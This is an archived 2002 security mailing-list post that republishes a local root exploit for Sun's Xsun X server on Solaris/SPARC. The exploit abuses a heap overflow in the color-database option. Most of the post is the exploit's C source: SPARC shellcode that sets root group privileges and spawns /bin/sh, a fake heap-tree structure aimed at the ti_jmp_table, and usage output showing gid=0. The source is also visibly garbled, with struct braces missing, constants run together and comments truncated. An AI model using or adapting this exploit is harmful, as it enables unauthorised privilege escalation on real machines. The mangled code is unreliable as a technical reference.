[EXPL] Xsun (Sparc) Local Exploit (RGB_DB)

From: support@securiteam.com
Date: 11/07/02

From: support@securiteam.com
To: list@securiteam.com
Date: 7 Nov 2002 11:00:36 +0200

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  Xsun (Sparc) Local Exploit (RGB_DB)


Xsun is a Solaris server for X version 11. A vulnerability in Sun's
implementation allows attackers to cause it to execute arbitrary code,
allowing them to gain elevated privileges.


/* Xsun(sparc) local exploit
   by gloomy (gloomy@root66.org) & eSDee (esdee@netric.org)
     Xsun is a Solaris server for X version 11. This program contains
   an option that is not really secure nowadays :).
   The option is used to determine the color database file. And yeah,
   indeed, you guessed it already, it contains a heap overflow.

     When we were busy writing this exploit within a multi display
   screen, we discovered some weird "unable-to-write-over-stackframe"
   problems. We tried everything to just write a few bytes over a
   saved program counter, but unfortunatly it was not possible on the
   current machine we were using. Then eSDee came up with something
   news. In the middle of the night a loud "yippeaaaaaa!" came out
   the bedroom of mister Es. He discovered a little section just
   below the GOT. It didn't contain \0 bytes and it was writeable.
   It's called the ti_jmp_table. I'm sure eSDee will write some
   papers about it soon.

     Gloomy was busy writing a shellcode that re-opens the STDIN. He
   found out that he just could open /dev/tty and then duplicate the
   STDERR filedescriptor, so the important descriptors were back

        ./Xsun-expl [retloc] [ret]

        bash$ gcc -o Xsun-expl Xsun-expl.c -Wall -Werror
        bash$ ./Xsun-expl
        bash$ id
        uid=500(user) gid=0(root)

   Greets and kisses:
        #netric - www.netric.org
        #root66 - www.root66.org
        mostlyharmless- www.mostly-harmless.nl [soon]
        dB_____ - fijne broer van gloom-ei! :)
        squezel - lekker ventje ben jij.

   More information available at:

   [ps. wat een lompe text]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define PATH"/usr/openwin/bin/Xsun"
#define DISPLAY ":1"
#define SIZE5128

#define RET 0xffbef7bc
#define RETLOC0xfecbea30/* <ti_jmp_table+4> (a pointer to _retu
rn_zero) */
#define DUMMY 0xac1db0ef

struct WORD {
        long element;
        long dummy;

struct TREE {
        struct WORDt_s;/* size of this element */
        struct WORDt_p;/* parent node */
        struct WORDt_l;/* left child */
        struct WORDt_r;/* right child */
        struct WORDt_n;/* next in link list */
        struct WORDt_d;/* dummy to reserve space for self-pointer */


                setregid(0,0);setting root permission
                open("/dev/tty", RD_ONLY);re-open STDIN
                dup(2); duplicate STDOUT to STD
                execve("/bin//sh", &argv[0], NULL); start the shell
                exit(); exit

        "\x90\x1d\x80\x16"// xor%l6, %l6, %o0
        "\x92\x1d\x80\x16"// xor%l6, %l6, %o1
        "\x82\x18\x40\x01"// xor%g1, %g1, %g1
        "\x82\x10\x20\xcb"// mov0x2e, %g1
        "\x91\xd0\x20\x08"// ta 8 [setreg

        "\x21\x0b\xd9\x19"// sethi%hi(0x2f646400), %l0
        "\xa0\x14\x21\x76"// or %l0, 0x176, %l0
        "\x23\x0b\xdd\x1d"// sethi%hi(0x2f747400), %l1
        "\xa2\x14\x60\x79"// or %l1, 0x79, %l1
        "\xe0\x3b\xbf\xf8"// std%l0, [ %sp - 0x8 ]
        "\x90\x23\xa0\x08"// sub%sp, 8, %o0
        "\x92\x1b\x80\x0e"// xor%sp, %sp, %o1
        "\x82\x10\x20\x05"// mov0x05, %g1
        "\x91\xd0\x20\x08"// ta 8 [open("

        "\x90\x10\x20\x02"// mov0x02, %o0
        "\x82\x10\x20\x29"// mov0x29, %g1
        "\x91\xd0\x20\x08"// ta 8 [dup(2)

        "\x21\x0b\xd8\x9a"// sethi%hi(0x2f626800), %l0
        "\xa0\x14\x21\x6e"// or %l0, 0x16e, %l0
        "\x23\x0b\xcb\xdc"// sethi%hi(0x2f2f7000), %l1
        "\xa2\x14\x63\x68"// or %l1, 0x368, %l1
        "\xe0\x3b\xbf\xf0"// std%l0, [ %sp - 0x10 ]
        "\xc0\x23\xbf\xf8"// clr[ %sp - 0x8 ]
        "\x90\x23\xa0\x10"// sub%sp, 0x10, %o0
        "\xc0\x23\xbf\xec"// clr[ %sp - 0x14 ]
        "\xd0\x23\xbf\xe8"// st %o0, [ %sp - 0x18 ]
        "\x92\x23\xa0\x18"// sub%sp, 0x18, %o1
        "\x94\x22\x80\x0a"// sub%o2, %o2, %o2
        "\x82\x18\x40\x01"// xor%g1, %g1, %g1
        "\x82\x10\x20\x3b"// mov0x3b, %g1
        "\x91\xd0\x20\x08"// ta 8 [execve

        "\x82\x10\x20\x01"// mov0x01, %g1
        "\x91\xd0\x20\x08"// ta 8 [exit(?

        "\x10\xbf\xff\xdf"// bshellcode
        "\x90\x1d\x80\x16"; // or %o1, %o1, %o1

main(int argc, char *argv[])
        struct TREE faketree; // our friendly little

        char buffer[SIZE+sizeof(faketree)+1];

        unsigned int ret= RET;
        unsigned int retloc = RETLOC;
        unsigned int dummy= DUMMY;

        if (argc > 1) retloc= strtoul(argv[1], &argv[1], 16);
        if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);

        faketree.t_s.element = 0xfffffff0;
        faketree.t_s.dummy = dummy;
        faketree.t_n.element = retloc - 8;
        faketree.t_n.dummy = dummy;
        faketree.t_l.element = 0xffffffff;
        faketree.t_l.dummy = dummy;
        faketree.t_r.element = dummy;
        faketree.t_r.dummy = dummy;
        faketree.t_p.element = ret;
        faketree.t_p.dummy = dummy;
        faketree.t_d.element = dummy;
        faketree.t_d.dummy = dummy;

        memset(buffer, 0x41, sizeof(buffer));
        memcpy(buffer + 3999 - (strlen(shellcode) - 8), shellcode,
        memcpy(buffer + SIZE, &faketree, sizeof(faketree));
        buffer[SIZE + sizeof(faketree)] = 0x0;

        fprintf(stdout, "Retloc = 0x%08x\n"
                        "Ret= 0x%08x\n",
                        retloc, ret);

        execl(PATH, "Xsun", "-co", buffer, DISPLAY, NULL);
        return 0;

/* [eof] */


The information has been provided by <mailto:gloomy@root66.org> gloomy
and <mailto:esdee@netric.org> eSDee.


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